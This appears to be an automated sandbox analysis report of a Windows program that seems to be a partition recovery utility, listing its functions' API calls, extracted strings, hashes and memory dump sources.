Opcode ID: 743b8d5447c6701b5209faf0f5325487e0810144177cf3379c98a6fa7b59690a
Instruction ID: 6b5f3ce250d99e246f97e4c880dd13cf0c1406b34abbe0528f84dab11d52e943
Opcode Fuzzy Hash: 743b8d5447c6701b5209faf0f5325487e0810144177cf3379c98a6fa7b59690a
Instruction Fuzzy Hash: 79D139B1509380AFD321DF68DC94EABB7E9FBC9704F004A2DF58997280D7749948CB66

Function 002961A0 Relevance: 40.6, APIs: 14, Strings: 9, Instructions: 305
windowregistrysynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitialize.OLE32(00000000), ref: 002961D2
GetCommandLineW.KERNEL32(?), ref: 002961E1
CommandLineToArgvW.SHELL32(00000000), ref: 002961E8

Part of subcall function 00361C78: _malloc.LIBCMT ref: 00361C96

CreateMutexW.KERNEL32(00000000,00000001,{7E99BEDA-7D57-4eee-A9E5-E17E07BB68BB}), ref: 002962AC
SetUnhandledExceptionFilter.KERNEL32(002D2560), ref: 002962C8
InitCommonControlsEx.COMCTL32 ref: 002962E3
__wsetlocale.LIBCMT ref: 002962F6
GdiplusStartup.GDIPLUS ref: 0029631F
LoadIconW.USER32(00000000,00000080), ref: 00296357
LoadCursorW.USER32(00000000,00007F00), ref: 00296367
GetStockObject.GDI32(00000000), ref: 00296372
RegisterClassW.USER32 ref: 0029638D
MessageBoxW.USER32(00000000,?,0053A538,00000010), ref: 002963B5
GetLastError.KERNEL32(?,00000000), ref: 002964B4

Strings

{7E99BEDA-7D57-4eee-A9E5-E17E07BB68BB}, xrefs: 002962A4
7PartitionRecovery, xrefs: 00296324
P^)u, xrefs: 00296372
m_pMainWnd->Create GetLastError %d, xrefs: 002964BB
Invlidate command line param., xrefs: 00296546
-report, xrefs: 00296503
CommandLineToArgvW failed, xrefs: 0029622C
-run, xrefs: 00296253
{3C06F0C0-AB95-426d-B356-CAAF2F20A922}, xrefs: 00296552

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: CommandLineLoad$ArgvClassCommonControlsCreateCursorErrorExceptionFilterGdiplusIconInitInitializeLastMessageMutexObjectRegisterStartupStockUnhandled__wsetlocale_malloc
String ID: -report$-run$7PartitionRecovery$CommandLineToArgvW failed$Invlidate command line param.$P^)u$m_pMainWnd->Create GetLastError %d${3C06F0C0-AB95-426d-B356-CAAF2F20A922}${7E99BEDA-7D57-4eee-A9E5-E17E07BB68BB}
API String ID: 1609973850-2280707170
Opcode ID: f60b9739953c9d3c6364f00fd07a5d89c9639959199b976ceb8a679b208f5ea5
Instruction ID: de43ec753a6e29e22d9ed24cfd70b1b985daa925503d99dd53f24c2c440bb2ca
Opcode Fuzzy Hash: f60b9739953c9d3c6364f00fd07a5d89c9639959199b976ceb8a679b208f5ea5
Instruction Fuzzy Hash: B4B122B16143419FCB10EF68CC89B6ABBE5FB99704F50462DF68A87391DB71D814CB12

Function 002DB6E0 Relevance: 28.9, APIs: 19, Instructions: 401COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 002DB7F4
__allrem.LIBCMT ref: 002DB85B
__allrem.LIBCMT ref: 002DB888
__allrem.LIBCMT ref: 002DB8C2
__allrem.LIBCMT ref: 002DB8E3
__allrem.LIBCMT ref: 002DB904
__allrem.LIBCMT ref: 002DB925
__allrem.LIBCMT ref: 002DB946
__allrem.LIBCMT ref: 002DB966
__allrem.LIBCMT ref: 002DB985
__allrem.LIBCMT ref: 002DB9A5
__allrem.LIBCMT ref: 002DB9C5
__allrem.LIBCMT ref: 002DB9E4
__allrem.LIBCMT ref: 002DBA07
__allrem.LIBCMT ref: 002DBA27
__allrem.LIBCMT ref: 002DBA4A
__allrem.LIBCMT ref: 002DBA69
__allrem.LIBCMT ref: 002DBA88
_memset.LIBCMT ref: 002DBB0C

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: __allrem$_memset
String ID:
API String ID: 2037804921-0
Opcode ID: e49d219872972b10c152cd25cf714db9f523b9874f996736894d2c6dc9dd45a7
Instruction ID: 848a79c56deaab57c83996c204f52ca40e42b00ebce4ec3d96ae3aa387b2a089
Opcode Fuzzy Hash: e49d219872972b10c152cd25cf714db9f523b9874f996736894d2c6dc9dd45a7
Instruction Fuzzy Hash: 3BD1BDB5A18300ABD314EF25CC51B6BB3E5FFC8704F15882EF6949B391EA74D8058B56

Function 002CCA90 Relevance: 28.4, APIs: 14, Strings: 2, Instructions: 366fileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 002CCB56
_memset.LIBCMT ref: 002CCB73
_memset.LIBCMT ref: 002CCB90
GetLogicalDrives.KERNEL32 ref: 002CCC2C
GetDriveTypeW.KERNEL32(?,?,00000003,?,?,?,?,?,?,?,5EBD7D5F,?,?,?), ref: 002CCC78
GetVolumeInformationW.KERNEL32(?,?,00000104,?,?,?,?,00000104,?,?,?,?,?,?,5EBD7D5F), ref: 002CCCD5
GetLastError.KERNEL32(?,?,?,?,?,?,5EBD7D5F,?,?,?), ref: 002CCCE3
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000002,00000000,00000000), ref: 002CCE4F

Strings

@e_d_r_1_2_3_4.try, xrefs: 002CCE34, 002CCEE4
\, xrefs: 002CCDCF

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: _memset$CreateDriveDrivesErrorFileInformationLastLogicalTypeVolume
String ID: @e_d_r_1_2_3_4.try$\
API String ID: 3467248478-3342452943
Opcode ID: fb49221be4bd332b79223f1e2f21f6c80a29adc4fd5ef1c3e42f6fa95c706c6b
Instruction ID: 535dbf8715986cd799e3d39f3e3342011ed5129c4d330eacf7a5e6098fe25fac
Opcode Fuzzy Hash: fb49221be4bd332b79223f1e2f21f6c80a29adc4fd5ef1c3e42f6fa95c706c6b
Instruction Fuzzy Hash: 25D1B3711143418BD724DF28C845FABB3A9FF89310F648B2EE45ECB2A0DB709955CB56

Function 0029A370 Relevance: 28.3, APIs: 1, Strings: 15, Instructions: 256COMMON

Download Yara Rule

APIs

GetSystemDefaultLangID.KERNEL32(5EBD7D5F,?,00000000,00000000,00000000,004CED58,000000FF,0029AB2B,?), ref: 0029A3A3

Strings

english, xrefs: 0029A424, 0029A6BF
hungary, xrefs: 0029A638
nSelectLang, xrefs: 0029A3AD
portuguese, xrefs: 0029A4E8
dutch, xrefs: 0029A5D8
italian, xrefs: 0029A518
german, xrefs: 0029A548
polish, xrefs: 0029A668
french, xrefs: 0029A578
russian, xrefs: 0029A695
japanese, xrefs: 0029A5A8
spanish, xrefs: 0029A4B8
turkey, xrefs: 0029A608
cht, xrefs: 0029A48A
chs, xrefs: 0029A464

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: DefaultLangSystem
String ID: chs$cht$dutch$english$french$german$hungary$italian$japanese$nSelectLang$polish$portuguese$russian$spanish$turkey
API String ID: 706401283-1878057418
Opcode ID: 26adc44dd527792aecd20740ab3eaeeeaa009535082f8b01f7cb301346564920
Instruction ID: ed27785738bd99a6f74508ca7968d0743ce4c011c5cda7c15ddb155043e07582
Opcode Fuzzy Hash: 26adc44dd527792aecd20740ab3eaeeeaa009535082f8b01f7cb301346564920
Instruction Fuzzy Hash: 1D91DC70390300AFDA14EF28DC42F7977B6BF98B08F158968F2555B2D1DBB09D198B92

Function 0030F870 Relevance: 26.6, APIs: 9, Strings: 6, Instructions: 355memoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0030F640: DeviceIoControl.KERNEL32(?,00070050,00000000,00000000,00000000,000030C0,?,00000000), ref: 0030F6B7
Part of subcall function 0030F640: GetLastError.KERNEL32(?,00000000,?,?,?,5EBD7D5F,?,00000000), ref: 0030F6CB
Part of subcall function 0030F640: GetLastError.KERNEL32(?,00000000,?,?,?,5EBD7D5F,?,00000000), ref: 0030F6DA
Part of subcall function 0030F640: DeviceIoControl.KERNEL32(?,0007400C,00000000,00000000,00000000,000030C0,?,00000000), ref: 0030F731
Part of subcall function 0030F640: GetLastError.KERNEL32(?,?,?,?,?,00000000,?,?,?,5EBD7D5F,?,00000000), ref: 0030F745

_memset.LIBCMT ref: 0030F92D
VirtualAlloc.KERNEL32(00000000,00000400,00001000,00000004,?,?,?,?,?,?,?,?,?,00000000), ref: 0030F9F8
_memset.LIBCMT ref: 0030FA08
_memset.LIBCMT ref: 0030FA54
CreateFileW.KERNEL32 ref: 0030FA7E
DeviceIoControl.KERNEL32(00000000,le Identified" position="96, 22, 51, 8"/><control id="1006" caption="Total Files Found" position="260, 22, 59, 8"/><control caption=":" position="25, 8, 45, 11"/><control id="1009" caption="00:00:00" position="96, 8, 38, 11"/>,00000000,00000400,?,00000400,?,00000000), ref: 0030FAB7
CloseHandle.KERNEL32(00000000), ref: 0030FAC0
_memset.LIBCMT ref: 0030FB42
GetLastError.KERNEL32 ref: 0030FC69

Strings

\DosDevices\, xrefs: 0030FB77
IOCTL_MOUNTMGR_QUERY_POINTS GetLastError %d, xrefs: 0030FC70
\??\Volume{, xrefs: 0030FBA6
le Identified" position="96, 22, 51, 8"/><control id="1006" caption="Total Files Found" position="260, 22, 59, 8"/><control caption=":" position="25, 8, 45, 11"/><control id="1009" caption="00:00:00" position="96, 8, 38, 11"/>, xrefs: 0030FAA9
\Device\Harddisk%u\Partition%u, xrefs: 0030F9BD
\\.\MountPointManager, xrefs: 0030FA6E

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: ErrorLast_memset$ControlDevice$AllocCloseCreateFileHandleVirtual
String ID: IOCTL_MOUNTMGR_QUERY_POINTS GetLastError %d$\??\Volume{$\Device\Harddisk%u\Partition%u$\DosDevices\$\\.\MountPointManager$le Identified" position="96, 22, 51, 8"/><control id="1006" caption="Total Files Found" position="260, 22, 59, 8"/><control caption=":" position="25, 8, 45, 11"/><control id="1009" caption="00:00:00" position="96, 8, 38, 11"/>
API String ID: 4060114029-117180391
Opcode ID: 561e4adc69eb55941d22b5d3ee654caf1b2b4415ceb73aa5948f2c24a0dd0331
Instruction ID: b8294775c92af2709c0946227df53b93ae9549b27cccc846fb71ba7ec7969a6c
Opcode Fuzzy Hash: 561e4adc69eb55941d22b5d3ee654caf1b2b4415ceb73aa5948f2c24a0dd0331
Instruction Fuzzy Hash: 1AD1C5B19053009FD321EF64D892B9BB3E8BF88704F054A3DF98997680E771E905CB92

Function 002B3800 Relevance: 25.4, APIs: 8, Strings: 6, Instructions: 907COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 002B3946

Strings

Lucida Sans Unicode, xrefs: 002B3AFA
Tahoma, xrefs: 002B3B29
<Page><Page.Resources><Style x:Key='{x:Type TextBlock}' TargetType='TextBlock'><Setter Property='Background' Value='#262626'/><Set, xrefs: 002B3862
Twitter, xrefs: 002B423C
Facebook, xrefs: 002B419B
BigPushButton.png, xrefs: 002B3AD1

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: ClientRect
String ID: <Page><Page.Resources><Style x:Key='{x:Type TextBlock}' TargetType='TextBlock'><Setter Property='Background' Value='#262626'/><Set$BigPushButton.png$Facebook$Lucida Sans Unicode$Tahoma$Twitter
API String ID: 846599473-1819797013
Opcode ID: fc456707e12e3b615ba182027bdf739ab6b725593feb590ebdbba9ddf2451b5b
Instruction ID: 38e4ed6c5f55cefeff80b901fb94d3fb168764b0f9cf91b059a119ead274e048
Opcode Fuzzy Hash: fc456707e12e3b615ba182027bdf739ab6b725593feb590ebdbba9ddf2451b5b
Instruction Fuzzy Hash: 148269706047419FD314DF68C881B9AB7E5BFC9314F288A6CF1998B3A1DB70E945CB92

Function 00305140 Relevance: 25.0, APIs: 12, Strings: 2, Instructions: 494COMMON

Download Yara Rule

APIs

Part of subcall function 0036BFC6: __EH_prolog3.LIBCMT ref: 0036BFCD
Part of subcall function 0036BFC6: BeginPaint.USER32(?,?,00000004,002979AC,?,5EBD7D5F), ref: 0036BFF9

Part of subcall function 003A5700: CopyRect.USER32(?,?), ref: 003A576E
Part of subcall function 003A5700: CreateCompatibleDC.GDI32(?), ref: 003A5778
Part of subcall function 003A5700: CreateCompatibleBitmap.GDI32(?,?,00000001), ref: 003A57B2
Part of subcall function 003A5700: SelectObject.GDI32(00000000,?), ref: 003A57CC
Part of subcall function 003A5700: CreateRectRgnIndirect.GDI32(?), ref: 003A57EC

Part of subcall function 003A42E0: IsWindow.USER32(?), ref: 003A42F4
Part of subcall function 003A42E0: GetClientRect.USER32(?,?), ref: 003A4304

CreateCompatibleDC.GDI32(?), ref: 003051D4

Part of subcall function 003A4DF0: IsRectEmpty.USER32(5EBD7D5F), ref: 003A4E03

Part of subcall function 0036F134: SetBkColor.GDI32(?,?), ref: 0036F158
Part of subcall function 0036F134: ExtTextOutW.GDI32(?,00000000,00000000,00000002,?,00000000,00000000,00000000), ref: 0036F16B

Part of subcall function 0036B678: SetTextColor.GDI32(?,?), ref: 0036B696
Part of subcall function 0036B678: SetTextColor.GDI32(?,?), ref: 0036B6A3

Part of subcall function 0036B614: SetBkMode.GDI32(?,?), ref: 0036B631
Part of subcall function 0036B614: SetBkMode.GDI32(?,?), ref: 0036B63E

Part of subcall function 00297680: CreateCompatibleDC.GDI32(00000000), ref: 002976C3
Part of subcall function 00297680: SelectObject.GDI32(?,00000000), ref: 002976DA

OffsetRect.USER32(?,00000024,0000001E), ref: 0030530C
OffsetRect.USER32(?,5EBD7D55,00000018), ref: 00305344
OffsetRect.USER32(?,?,000000A6), ref: 003054A3

Part of subcall function 00297680: SelectObject.GDI32(?,?), ref: 00297704

OffsetRect.USER32(?,?,00000126), ref: 0030554F
OffsetRect.USER32(?,?,000000CF), ref: 003055FB
OffsetRect.USER32(?,?,0000006A), ref: 003056A1
SelectObject.GDI32(?,?), ref: 003056EF
SelectObject.GDI32(?,?), ref: 0030571D
SelectObject.GDI32(?,?), ref: 0030574E
SelectObject.GDI32(?,?), ref: 0030577F
SelectObject.GDI32(?,?), ref: 003057D8

Strings

j, xrefs: 0030521C
V%s, xrefs: 003053A9

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Rect$ObjectSelect$Offset$Create$Compatible$ColorText$Mode$BeginBitmapClientCopyEmptyH_prolog3IndirectPaintWindow
String ID: V%s$j
API String ID: 3779885018-3970248083
Opcode ID: 6376fe6acbad272a6b5374a4ad3046cd12e8a1d07bf612c3713017ab91ca2998
Instruction ID: a06aa90c9be7341c605fcb8d44378f25d82c5450c1b13bce5493c801f20840d8
Opcode Fuzzy Hash: 6376fe6acbad272a6b5374a4ad3046cd12e8a1d07bf612c3713017ab91ca2998
Instruction Fuzzy Hash: B32217752087808FC315DF68C885AABBBE5BFC9304F148A1DF5899B391DB74E905CB92

Function 00372CFB Relevance: 19.7, APIs: 9, Strings: 2, Instructions: 430libraryloaderCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00372D02
_wcslen.LIBCMT ref: 00372D9E
_wcslen.LIBCMT ref: 00372DA8
_wcslen.LIBCMT ref: 00372E0A
_memcpy_s.LIBCMT ref: 00372E4E
_wcslen.LIBCMT ref: 00372E60
_memcpy_s.LIBCMT ref: 00372EA9

Part of subcall function 0036A957: __CxxThrowException@8.LIBCMT ref: 0036A96D

PathRemoveFileSpecW.SHLWAPI(00000000,00000000,?), ref: 00372FA1

Part of subcall function 002D24F0: _wcsnlen.LIBCMT ref: 002D2507

GetProcAddress.KERNEL32(?,SHCreateItemFromParsingName), ref: 00373077

Strings

SHCreateItemFromParsingName, xrefs: 00373071
Shell32.dll, xrefs: 00373034

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: _wcslen$_memcpy_s$AddressException@8FileH_prolog3PathProcRemoveSpecThrow_wcsnlen
String ID: SHCreateItemFromParsingName$Shell32.dll
API String ID: 2004622252-214508289
Opcode ID: 391894a7d068bc778d45a5a0dbb2ef1d6b32917ccb5c0bda72b866ab2cc4fdbd
Instruction ID: 52de9cd93fdf7ae64dd5653a3672c3143ec2fd4ae109253e5cba84632232ebcc
Opcode Fuzzy Hash: 391894a7d068bc778d45a5a0dbb2ef1d6b32917ccb5c0bda72b866ab2cc4fdbd
Instruction Fuzzy Hash: E1F1F631A10206CFCF2ADF64C885ABEB7B5FF48311F55865DE426AB2A2D7349A01DF50

Function 003F8F30 Relevance: 16.8, Strings: 13, Instructions: 518COMMON

Download Yara Rule

Strings

Unexpected error, xrefs: 003F93B5
There are multiple root elements, xrefs: 003F9070
Unexpected end tag, xrefs: 003F9234
The '%ls' start tag does not match the end tag of '%ls', xrefs: 003F928C
Unexpected end of file has occurred. The following elements are not closed: '%ls', xrefs: 003F9037
The tag '%ls' does not exist in XML namespace, xrefs: 003F8F01, 003F9156, 003F9180, 003F91E8
Data at the root level is invalid, xrefs: 003F8F91
'%ls' property does not have a value, xrefs: 003F930E
Root element is missing, xrefs: 003F9008
Root element have to be 'CXTPMarkupUIElement' type, xrefs: 003F95FC
%ls, xrefs: 003F8FE8
xmlns, xrefs: 003F93C3
The property '%ls' does not exist in XML namespace, xrefs: 003F940B

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID:
